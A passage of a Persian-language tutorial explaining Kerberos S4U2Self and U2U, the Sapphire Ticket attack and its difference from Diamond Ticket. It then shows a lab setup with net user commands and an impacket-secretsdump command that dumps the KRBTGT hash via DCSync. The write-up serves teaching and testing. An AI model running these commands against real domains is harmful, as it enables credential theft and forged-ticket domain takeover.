\u0645\u06cc\u200c\u062f\u0647\u062f \u062a\u0627 \u0628\u0644\u06cc\u062a \u0633\u0631\u0648\u06cc\u0633 \u062a\u0648\u0644\u06cc\u062f\u0634\u062f\u0647 \u0631\u0627 \u0628\u0627 \u06a9\u0644\u06cc\u062f \u0645\u062e\u0641\u06cc \u0633\u0631\u0648\u06cc\u0633 \u0645\u0631\u0628\u0648\u0637\u0647 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u06a9\u0646\u062f.<\/span><\/p>\n

          \u062c\u0631\u06cc\u0627\u0646 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0628\u0644\u06cc\u062a \u062f\u0631<\/strong> S4U2Self<\/strong><\/span><\/p>\n

            \n
          1. \u0633\u0631\u0648\u06cc\u0633\u060c \u0633\u0627\u062e\u062a\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u0627\u06cc PA_FOR_USER \u0631\u0627 \u0627\u06cc\u062c\u0627\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f \u0648 \u062f\u0631 \u0622\u0646\u060c \u06a9\u0627\u0631\u0628\u0631\u06cc \u0631\u0627 \u06a9\u0647 \u0642\u0635\u062f \u062f\u0627\u0631\u062f \u0628\u0647\u200c\u062c\u0627\u06cc \u0627\u0648 \u0639\u0645\u0644 \u06a9\u0646\u062f \u0645\u0634\u062e\u0635 \u0645\u06cc\u200c\u0646\u0645\u0627\u06cc\u062f.<\/li>\n
          2. \u0633\u067e\u0633 \u06cc\u06a9 \u067e\u06cc\u0627\u0645 KRB_TGS_REQ \u0628\u0647 \u0633\u0631\u0648\u06cc\u0633 \u0635\u062f\u0648\u0631 \u0628\u0644\u06cc\u062a (Ticket Granting Service \u06cc\u0627 TGS) \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc\u200c\u06a9\u0646\u062f.<\/li>\n
          3. \u062f\u0631 \u067e\u0627\u0633\u062e\u060c TGS \u06cc\u06a9 \u0628\u0644\u06cc\u062a \u0633\u0631\u0648\u06cc\u0633 \u062d\u0627\u0648\u06cc PAC \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u06a9\u0627\u0631\u0628\u0631 \u0647\u062f\u0641 \u0635\u0627\u062f\u0631 \u0645\u06cc\u200c\u06a9\u0646\u062f \u06a9\u0647 \u0628\u0631\u0627\u06cc \u0633\u0631\u0648\u06cc\u0633 \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u06a9\u0646\u0646\u062f\u0647 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0634\u062f\u0647 \u0627\u0633\u062a.<\/li>\n<\/ol>\n

            U2U (\u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u06a9\u0627\u0631\u0628\u0631 \u0628\u0647 \u06a9\u0627\u0631\u0628\u0631)<\/span><\/p>\n

            \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u06a9\u0627\u0631\u0628\u0631 \u0628\u0647 \u06a9\u0627\u0631\u0628\u0631 (User-to-User \u06cc\u0627 U2U) \u0645\u06a9\u0627\u0646\u06cc\u0632\u0645\u06cc \u062f\u0631 \u067e\u0631\u0648\u062a\u06a9\u0644 Kerberos \u0627\u0633\u062a \u06a9\u0647 \u0628\u0647 \u06cc\u06a9 \u06a9\u0627\u0631\u0628\u0631 (\u06a9\u0644\u0627\u06cc\u0646\u062a) \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u0628\u0644\u06cc\u062a\u06cc \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u06a9\u0646\u062f \u06a9\u0647 \u0628\u0627 \u06a9\u0644\u06cc\u062f \u0646\u0634\u0633\u062a (Session Key) \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 TGT \u06a9\u0627\u0631\u0628\u0631 \u062f\u06cc\u06af\u0631\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0634\u062f\u0647 \u0628\u0627\u0634\u062f\u2014\u0645\u0639\u0645\u0648\u0644\u0627\u064b \u062f\u0631 \u0634\u0631\u0627\u06cc\u0637\u06cc \u06a9\u0647 \u0633\u0631\u0648\u06cc\u0633\u200c\u062f\u0647\u0646\u062f\u0647 \u062e\u0648\u062f \u06cc\u06a9 \u06a9\u0627\u0631\u0628\u0631 \u0627\u0633\u062a \u0648 \u06a9\u0644\u06cc\u062f \u0628\u0644\u0646\u062f\u0645\u062f\u062a \u0646\u062f\u0627\u0631\u062f (\u0645\u0627\u0646\u0646\u062f \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc \u0631\u0648\u0645\u06cc\u0632\u06cc).<\/p>\n

            \u0648\u06cc\u0698\u06af\u06cc\u200c\u0647\u0627\u06cc \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0628\u0644\u06cc\u062a \u062f\u0631 U2U<\/span><\/p>\n

            additional-tickets: \u0634\u0627\u0645\u0644 TGT \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u06a9\u0627\u0631\u0628\u0631\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0646\u0642\u0634 \u0633\u0631\u0648\u0631 \u0631\u0627 \u0627\u06cc\u0641\u0627 \u0645\u06cc\u200c\u06a9\u0646\u062f.<\/span><\/p>\n

            ENC-TKT-IN-SKEY: \u0628\u0647 KDC \u062f\u0633\u062a\u0648\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f \u0628\u0644\u06cc\u062a \u0633\u0631\u0648\u06cc\u0633 \u0631\u0627 \u0628\u0627 \u06a9\u0644\u06cc\u062f \u0646\u0634\u0633\u062a \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u0628\u0644\u06cc\u062a \u0627\u0636\u0627\u0641\u06cc (additional ticket) \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u06a9\u0646\u062f.<\/span><\/p>\n

            sname field (\u0646\u0627\u0645 \u0633\u0631\u0648\u06cc\u0633): \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u062c\u0627\u06cc \u06cc\u06a9 \u0633\u0631\u0648\u06cc\u0633 \u0633\u0646\u062a\u06cc \u0628\u0627 SPN\u060c \u0628\u0647 \u062d\u0633\u0627\u0628 \u06a9\u0627\u0631\u0628\u0631\u06cc \u0627\u0634\u0627\u0631\u0647 \u06a9\u0646\u062f.<\/span><\/p>\n

            \u0627\u06cc\u0646 \u0648\u06cc\u0698\u06af\u06cc\u200c\u0647\u0627 \u0628\u0647 \u06cc\u06a9 \u06a9\u0627\u0631\u0628\u0631 (\u0645\u062b\u0644\u0627\u064b \u06a9\u0627\u0631\u0628\u0631 B) \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u0628\u0627 \u0627\u0645\u0646\u06cc\u062a \u06a9\u0627\u0645\u0644 \u0628\u0647 \u06a9\u0627\u0631\u0628\u0631 \u062f\u06cc\u06af\u0631 (\u06a9\u0627\u0631\u0628\u0631 A) \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u06a9\u0646\u062f\u060c \u062d\u062a\u06cc \u062f\u0631 \u062d\u0627\u0644\u062a\u06cc \u06a9\u0647 \u06a9\u0627\u0631\u0628\u0631 A \u0641\u0627\u0642\u062f \u06a9\u0644\u06cc\u062f \u0645\u062e\u0641\u06cc \u062f\u0627\u0626\u0645\u06cc \u0628\u0627\u0634\u062f.<\/span><\/p>\n

            \u0645\u062b\u0627\u0644 \u0627\u0632 \u062c\u0631\u06cc\u0627\u0646<\/strong> U2U<\/strong><\/span><\/p>\n

              \n
            1. \u06a9\u0627\u0631\u0628\u0631 A (\u062f\u0631 \u0646\u0642\u0634 \u0633\u0631\u0648\u0631) TGT \u062e\u0648\u062f \u0631\u0627 \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631 \u06a9\u0627\u0631\u0628\u0631 B \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f.<\/span><\/li>\n
            2. \u06a9\u0627\u0631\u0628\u0631 B \u06cc\u06a9 \u067e\u06cc\u0627\u0645 KRB_TGS_REQ \u0628\u0647 KDC \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc\u200c\u06a9\u0646\u062f \u06a9\u0647 \u0634\u0627\u0645\u0644 TGT \u0647\u0631 \u062f\u0648 \u06a9\u0627\u0631\u0628\u0631 (A \u0648 B) \u0627\u0633\u062a.<\/span><\/li>\n
            3. KDC \u06cc\u06a9 \u06a9\u0644\u06cc\u062f \u0646\u0634\u0633\u062a \u062c\u062f\u06cc\u062f \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f \u0648 \u0622\u0646 \u0631\u0627 \u0628\u0647 \u062f\u0648 \u0635\u0648\u0631\u062a \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f:<\/span>\n
                \n
              • \u06cc\u06a9 \u0628\u0627\u0631 \u0628\u0627 \u06a9\u0644\u06cc\u062f \u0646\u0634\u0633\u062a \u06a9\u0627\u0631\u0628\u0631 A<\/span><\/li>\n
              • \u06cc\u06a9 \u0628\u0627\u0631 \u0628\u0627 \u06a9\u0644\u06cc\u062f \u0646\u0634\u0633\u062a \u06a9\u0627\u0631\u0628\u0631 B<\/span><\/li>\n<\/ul>\n<\/li>\n
              • \u0647\u0631 \u06a9\u0627\u0631\u0628\u0631 \u0642\u0633\u0645\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u062e\u0648\u062f \u0631\u0627 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0648 \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647 \u0647\u0631 \u062f\u0648 \u0628\u0647 \u06cc\u06a9 \u06a9\u0644\u06cc\u062f \u0646\u0634\u0633\u062a \u0645\u0634\u062a\u0631\u06a9 \u062f\u0633\u062a \u0645\u06cc\u200c\u06cc\u0627\u0628\u0646\u062f \u06a9\u0647 \u0628\u0631\u0627\u06cc \u0627\u0631\u062a\u0628\u0627\u0637 \u0627\u0645\u0646 \u0628\u06cc\u0646\u200c\u0634\u0627\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f.<\/span><\/li>\n<\/ol>\n

                \u0627\u06cc\u0646 \u0641\u0631\u0622\u06cc\u0646\u062f \u0628\u0627\u0639\u062b \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0646\u06cc\u0627\u0632\u06cc \u0628\u0647 \u0646\u06af\u0647\u062f\u0627\u0631\u06cc \u06a9\u0644\u06cc\u062f \u062f\u0627\u0626\u0645\u06cc \u062f\u0631 \u0633\u0645\u062a \u06a9\u0627\u0631\u0628\u0631 A \u0646\u0628\u0627\u0634\u062f\u060c \u0648 \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647 \u0627\u062c\u0631\u0627\u06cc \u0633\u0631\u0648\u06cc\u0633 \u0627\u0632 \u0646\u0642\u0627\u0637 \u0627\u0646\u062a\u0647\u0627\u06cc\u06cc \u06a9\u0645\u200c\u0627\u0645\u0646\u06cc\u062a\u200c\u062a\u0631 (\u0645\u0627\u0646\u0646\u062f \u062f\u0633\u06a9\u062a\u0627\u067e\u200c\u0647\u0627) \u0627\u06cc\u0645\u0646\u200c\u062a\u0631 \u0634\u0648\u062f.<\/span><\/p>\n

                \u062c\u0632\u0626\u06cc\u0627\u062a \u0641\u0646\u06cc<\/strong> (Technical Details)<\/strong><\/span><\/p>\n

                \u0628\u0644\u06cc\u062a\u200c\u0647\u0627\u06cc Sapphire \u0627\u0632 \u062a\u0631\u06a9\u06cc\u0628 \u062f\u0648 \u0627\u0641\u0632\u0648\u0646\u0647 Kerberos \u06cc\u0639\u0646\u06cc S4U2Self \u0648 U2U \u0628\u0647\u0631\u0647 \u0645\u06cc\u200c\u0628\u0631\u0646\u062f \u062a\u0627 \u0645\u062d\u062f\u0648\u062f\u06cc\u062a\u200c\u0647\u0627\u06cc \u0633\u0646\u062a\u06cc \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0648\u062c\u0648\u062f SPN \u0631\u0627 \u062f\u0648\u0631 \u0628\u0632\u0646\u0646\u062f.<\/span><\/p>\n

                \u0631\u0648\u0646\u062f \u0639\u0645\u0644\u06a9\u0631\u062f \u0628\u0647 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \u0627\u0633\u062a<\/strong>:<\/strong><\/p>\n

                  \n
                1. \u0645\u0647\u0627\u062c\u0645 \u0627\u0632 S4U2Self \u0628\u0631\u0627\u06cc \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u06cc\u06a9 \u0628\u0644\u06cc\u062a \u0633\u0631\u0648\u06cc\u0633 (TGS) \u0628\u0647 \u0646\u0645\u0627\u06cc\u0646\u062f\u06af\u06cc \u0627\u0632 \u06cc\u06a9 \u06a9\u0627\u0631\u0628\u0631 \u0633\u0637\u062d\u200c\u0628\u0627\u0644\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0627\u06cc\u0646 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0634\u0627\u0645\u0644 PAC \u06a9\u0627\u0631\u0628\u0631 \u0647\u062f\u0641 \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f.<\/span><\/li>\n
                2. \u0628\u0647 \u062c\u0627\u06cc \u0627\u062a\u06a9\u0627 \u0628\u0647 \u06cc\u06a9 \u06a9\u0644\u06cc\u062f \u0633\u0631\u0648\u06cc\u0633 \u0628\u0644\u0646\u062f\u0645\u062f\u062a (\u06a9\u0647 \u062f\u0631 \u062d\u0627\u0644\u062a \u0639\u0627\u062f\u06cc \u0628\u0627 SPN \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f)\u060c \u0627\u0632 \u0642\u0627\u0628\u0644\u06cc\u062a U2U \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u062a\u0627 \u0628\u0644\u06cc\u062a \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06a9\u0644\u06cc\u062f \u0646\u0634\u0633\u062a \u06a9\u0627\u0631\u0628\u0631 “\u0633\u0631\u0648\u0631” \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0634\u0648\u062f.<\/span><\/li>\n
                3. \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647\u060c \u0628\u0644\u06cc\u062a \u062d\u0627\u0635\u0644\u0647 \u062f\u0627\u0631\u0627\u06cc \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u0645\u0639\u062a\u0628\u0631 PAC \u0627\u0633\u062a\u060c \u0648\u0644\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0622\u0646 \u0628\u0627 \u06a9\u0644\u06cc\u062f \u0646\u0634\u0633\u062a \u0645\u0648\u0642\u062a\u06cc \u0627\u0646\u062c\u0627\u0645 \u0634\u062f\u0647\u2014\u0646\u0647 \u06cc\u06a9 \u06a9\u0644\u06cc\u062f \u0633\u0631\u0648\u06cc\u0633 \u062f\u0627\u0626\u0645\u06cc.<\/span><\/li>\n
                4. \u0627\u06cc\u0646 \u062a\u0631\u06a9\u06cc\u0628 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u0628\u0647 \u06cc\u06a9 \u0628\u0644\u06cc\u062a \u0645\u0639\u062a\u0628\u0631 \u0628\u0627 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0627\u0644\u0627 \u062f\u0633\u062a \u06cc\u0627\u0628\u062f\u060c \u0628\u062f\u0648\u0646 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u062f\u0627\u0634\u062a\u0646 SPN \u06cc\u0627 \u06a9\u0644\u06cc\u062f \u0628\u0644\u0646\u062f\u0645\u062f\u062a \u0633\u0631\u0648\u06cc\u0633.<\/span><\/li>\n<\/ol>\n

                  \u062e\u0644\u0627\u0635\u0647<\/span><\/p>\n

                  \u0627\u0641\u0632\u0648\u0646\u0647 S4U2Self \u0628\u0647 \u06cc\u06a9 \u0633\u0631\u0648\u06cc\u0633 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u0628\u0647 \u0646\u0645\u0627\u06cc\u0646\u062f\u06af\u06cc \u0627\u0632 \u06cc\u06a9 \u06a9\u0627\u0631\u0628\u0631\u060c \u0628\u0644\u06cc\u062a \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0646\u062f. \u062f\u0631 \u0647\u0645\u06cc\u0646 \u062d\u0627\u0644\u060c U2U \u0627\u06cc\u0646 \u0627\u0645\u06a9\u0627\u0646 \u0631\u0627 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u0633\u0627\u0632\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0641\u0631\u0622\u06cc\u0646\u062f \u0628\u062f\u0648\u0646 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u06a9\u0644\u06cc\u062f \u0628\u0644\u0646\u062f\u0645\u062f\u062a \u0633\u0631\u0648\u06cc\u0633 \u0627\u0646\u062c\u0627\u0645 \u0634\u0648\u062f.<\/span><\/p>\n

                  \u062a\u0631\u06a9\u06cc\u0628 \u0627\u06cc\u0646 \u062f\u0648\u060c \u0631\u0648\u0634\u06cc \u0642\u062f\u0631\u062a\u0645\u0646\u062f \u0628\u0631\u0627\u06cc \u062c\u0639\u0644 \u0647\u0648\u06cc\u062a \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0648 \u062f\u0633\u062a\u200c\u06a9\u0627\u0631\u06cc \u0628\u0644\u06cc\u062a\u200c\u0647\u0627\u06cc Kerberos \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u0622\u0648\u0631\u062f.<\/span><\/p>\n

                  \u062a\u0641\u0627\u0648\u062a \u0628\u06cc\u0646 \u062d\u0645\u0644\u0647<\/strong> Diamond Ticket <\/strong>\u0648<\/strong> Sapphire Ticket<\/strong><\/span><\/p>\n

                  \u0647\u0631 \u062f\u0648 \u062d\u0645\u0644\u0647 \u0634\u0627\u0645\u0644 \u062f\u0633\u062a\u200c\u06a9\u0627\u0631\u06cc \u062f\u0631 \u0633\u0627\u062e\u062a\u0627\u0631 PAC \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u06cc\u06a9 TGT \u0645\u0639\u062a\u0628\u0631 \u0647\u0633\u062a\u0646\u062f\u061b \u0627\u0645\u0627 \u062a\u0641\u0627\u0648\u062a \u0627\u0635\u0644\u06cc \u062f\u0631 \u0646\u062d\u0648\u0647\u200c\u06cc \u062a\u063a\u06cc\u06cc\u0631 \u0627\u06cc\u0646 PAC \u0646\u0647\u0641\u062a\u0647 \u0627\u0633\u062a.<\/span><\/p>\n

                    \n
                  • \u062f\u0631 \u062d\u0645\u0644\u0647 Diamond Ticket\u060c \u0645\u0647\u0627\u062c\u0645 PAC \u0627\u0635\u0644\u06cc \u0628\u0644\u06cc\u062a TGT \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u0634\u062f\u0647 \u0631\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f\u2014\u0627\u06cc\u0646 \u062a\u063a\u06cc\u06cc\u0631 \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u0628\u0627 \u0627\u0641\u0632\u0648\u062f\u0646 \u0627\u0645\u062a\u06cc\u0627\u0632\u0627\u062a \u0627\u0636\u0627\u0641\u06cc \u06cc\u0627 \u0628\u0627\u0632\u0646\u0648\u06cc\u0633\u06cc \u06a9\u0627\u0645\u0644 \u0633\u0627\u062e\u062a\u0627\u0631 PAC \u0647\u0645\u0631\u0627\u0647 \u0628\u0627\u0634\u062f.<\/span><\/li>\n
                  • \u062f\u0631 \u0645\u0642\u0627\u0628\u0644\u060c \u062f\u0631 \u062d\u0645\u0644\u0647 Sapphire Ticket\u060c \u0645\u0647\u0627\u062c\u0645 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062a\u0641\u0648\u06cc\u0636 \u0627\u062e\u062a\u06cc\u0627\u0631 Kerberos (Kerberos Delegation) \u0645\u0648\u0641\u0642 \u0628\u0647 \u062f\u0631\u06cc\u0627\u0641\u062a \u06cc\u06a9 PAC \u0645\u0639\u062a\u0628\u0631 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u06a9\u0627\u0631\u0628\u0631\u06cc \u0628\u0627 \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0627\u0644\u0627 \u0645\u06cc\u200c\u0634\u0648\u062f \u0648 \u0633\u067e\u0633 \u0627\u06cc\u0646 PAC \u0631\u0627 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 PAC \u0627\u0635\u0644\u06cc \u0628\u0644\u06cc\u062a TGT \u062e\u0648\u062f \u0645\u06cc\u200c\u0646\u0645\u0627\u06cc\u062f.<\/span><\/li>\n<\/ul>\n

                    \u0628\u0647\u200c\u0639\u0628\u0627\u0631\u062a \u062f\u06cc\u06af\u0631\u060c \u062f\u0631 Diamond Ticket\u060c PAC \u062a\u0648\u0644\u06cc\u062f\u0634\u062f\u0647 \u062c\u0639\u0644\u06cc \u0627\u0633\u062a\u061b \u062f\u0631 \u062d\u0627\u0644\u06cc \u06a9\u0647 \u062f\u0631 Sapphire Ticket\u060c PAC \u0627\u0632 \u06cc\u06a9 \u0628\u0644\u06cc\u062a \u0642\u0627\u0646\u0648\u0646\u06cc \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u0648 \u0645\u062c\u062f\u062f\u0627\u064b \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f.<\/span><\/p>\n

                    \u0631\u0627\u0647\u200c\u0627\u0646\u062f\u0627\u0632\u06cc \u0622\u0632\u0645\u0627\u06cc\u0634\u06af\u0627\u0647<\/strong><\/h2>\n

                    \u0628\u0631\u0627\u06cc \u0627\u062c\u0631\u0627\u06cc \u0627\u06cc\u0646 \u062d\u0645\u0644\u0647\u060c \u062f\u0648 \u062d\u0633\u0627\u0628 \u06a9\u0627\u0631\u0628\u0631\u06cc \u0628\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc\u200c\u0647\u0627\u06cc \u0645\u062a\u0641\u0627\u0648\u062a \u062f\u0631 \u06a9\u0646\u062a\u0631\u0644\u200c\u06a9\u0646\u0646\u062f\u0647 \u062f\u0627\u0645\u0646\u0647 (Domain Controller) \u0627\u06cc\u062c\u0627\u062f \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645: \u062d\u0633\u0627\u0628 admin1<\/em> \u0628\u0627 \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc Domain Admin \u0648 \u062d\u0633\u0627\u0628 rudra<\/em> \u0628\u0627 \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0633\u062a\u0627\u0646\u062f\u0627\u0631\u062f (Standard User).<\/span>
                    \n\u0628\u0631\u0627\u06cc \u0627\u0646\u062c\u0627\u0645 \u0627\u06cc\u0646 \u0645\u0631\u062d\u0644\u0647\u060c \u0648\u0627\u0631\u062f \u06a9\u0646\u062a\u0631\u0644\u200c\u06a9\u0646\u0646\u062f\u0647 \u062f\u0627\u0645\u0646\u0647 \u0634\u062f\u0647 \u0648 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u062e\u0637 \u0641\u0631\u0645\u0627\u0646 (Command Prompt) \u062f\u0633\u062a\u0648\u0631 \u0632\u06cc\u0631 \u0631\u0627 \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645:<\/span><\/p>\n

                    net user rudra Password@1 \/add \/domain<\/pre>\n
                    \"\"<\/p>\n
                    net user admin1 Password@1 \/add \/domain\r\nnet group \u201cDomain Admins\u201d admin1 \/add \/domain\r\n<\/pre>\n
                    \"\"<\/p>\n
                    \u067e\u0633 \u0627\u0632 \u0627\u062c\u0631\u0627\u06cc \u062f\u0633\u062a\u0648\u0631\u060c \u0644\u0627\u0632\u0645 \u0627\u0633\u062a \u0628\u0631\u0631\u0633\u06cc \u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u0622\u06cc\u0627 \u06a9\u0627\u0631\u0628\u0631 admin1<\/em> \u0648\u0627\u0642\u0639\u0627\u064b \u0639\u0636\u0648 \u06af\u0631\u0648\u0647 Domain Admins \u0634\u062f\u0647 \u0627\u0633\u062a \u06cc\u0627 \u062e\u06cc\u0631.<\/span>
                    \n\u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0645\u0646\u0638\u0648\u0631\u060c \u0628\u0647 \u0645\u0633\u06cc\u0631 \u0632\u06cc\u0631 \u062f\u0631 \u0627\u0628\u0632\u0627\u0631 Active Directory Users and Computers \u0645\u0631\u0627\u062c\u0639\u0647 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645:<\/span>
                    \nUsers \u2192 \u062f\u0648\u0628\u0627\u0631 \u06a9\u0644\u06cc\u06a9 \u0631\u0648\u06cc \u062d\u0633\u0627\u0628 \u06a9\u0627\u0631\u0628\u0631\u06cc \u0645\u0648\u0631\u062f \u0646\u0638\u0631 (\u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 admin1<\/em>) \u2192 \u062a\u0628 Member Of.<\/span>
                    \n\u062f\u0631 \u0627\u06cc\u0646 \u0628\u062e\u0634\u060c \u0628\u0627\u06cc\u062f \u06af\u0631\u0648\u0647 Domain Admins \u0631\u0627 \u0645\u0637\u0627\u0628\u0642 \u0628\u0627 \u062a\u0635\u0648\u06cc\u0631 \u0632\u06cc\u0631 \u0645\u0634\u0627\u0647\u062f\u0647 \u06a9\u0646\u06cc\u062f:<\/span><\/p>\n
                    \"\"<\/p>\n
                    \u0645\u0631\u062d\u0644\u0647 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc <\/strong>\u2013<\/strong> \u062d\u0645\u0644\u0647<\/strong> Sapphire Ticket<\/strong><\/h2>\n
                    \u0647\u0645\u0627\u0646\u200c\u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u0628\u062e\u0634\u200c\u0647\u0627\u06cc \u067e\u06cc\u0634\u06cc\u0646 \u062a\u0648\u0636\u06cc\u062d \u062f\u0627\u062f\u0647 \u0634\u062f\u060c \u0628\u0631\u0627\u06cc \u0627\u062c\u0631\u0627\u06cc \u0627\u06cc\u0646 \u062d\u0645\u0644\u0647\u060c \u0645\u0647\u0627\u062c\u0645 \u0628\u0627\u06cc\u062f \u0628\u0647 \u0647\u0634 \u062d\u0633\u0627\u0628 \u06a9\u0627\u0631\u0628\u0631\u06cc KRBTGT \u062f\u0633\u062a\u0631\u0633\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0646\u062f.<\/span>
                    \n\u0628\u0647\u200c\u0639\u0646\u0648\u0627\u0646 \u0645\u062b\u0627\u0644\u060c \u062f\u0631 \u06cc\u06a9 \u0633\u0646\u0627\u0631\u06cc\u0648\u06cc \u0641\u0631\u0636\u06cc\u0650 \u0646\u0641\u0648\u0630\u060c \u0641\u0631\u0636 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u0645\u0647\u0627\u062c\u0645 \u0645\u0648\u0641\u0642 \u0628\u0647 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u06cc\u06a9 \u062d\u0633\u0627\u0628 \u06a9\u0627\u0631\u0628\u0631\u06cc \u062f\u0627\u0631\u0627\u06cc \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0627\u0644\u0627 \u0628\u0627 \u0646\u0627\u0645 admin1-User<\/em> \u0634\u062f\u0647 \u0627\u0633\u062a.<\/span>
                    \n\u062f\u0631 \u0646\u062a\u06cc\u062c\u0647\u060c \u0645\u0647\u0627\u062c\u0645 \u0628\u0627 \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc\u060c \u062a\u0644\u0627\u0634 \u0645\u06cc\u200c\u06a9\u0646\u062f \u062d\u0645\u0644\u0647\u200c\u0627\u06cc \u0627\u0632 \u0646\u0648\u0639 DCSync \u0627\u0646\u062c\u0627\u0645 \u062f\u0627\u062f\u0647 \u0648 \u0647\u0634 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u062d\u0633\u0627\u0628 KRBTGT<\/em> \u0631\u0627 \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u06a9\u0646\u062f.<\/span><\/p>\n
                    \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u0647\u0634 \u062d\u0633\u0627\u0628<\/strong> KRBTGT <\/strong>\u0648 \u0634\u0646\u0627\u0633\u0647 \u062f\u0627\u0645\u0646\u0647<\/strong> (Domain SID)<\/strong><\/p>\n
                    impacket-secretsdump 'ignite.local\/admin1:Password@1@ignite.local -just-dc-user krbtgt<\/pre>\n
                    \"\"<\/p>\n
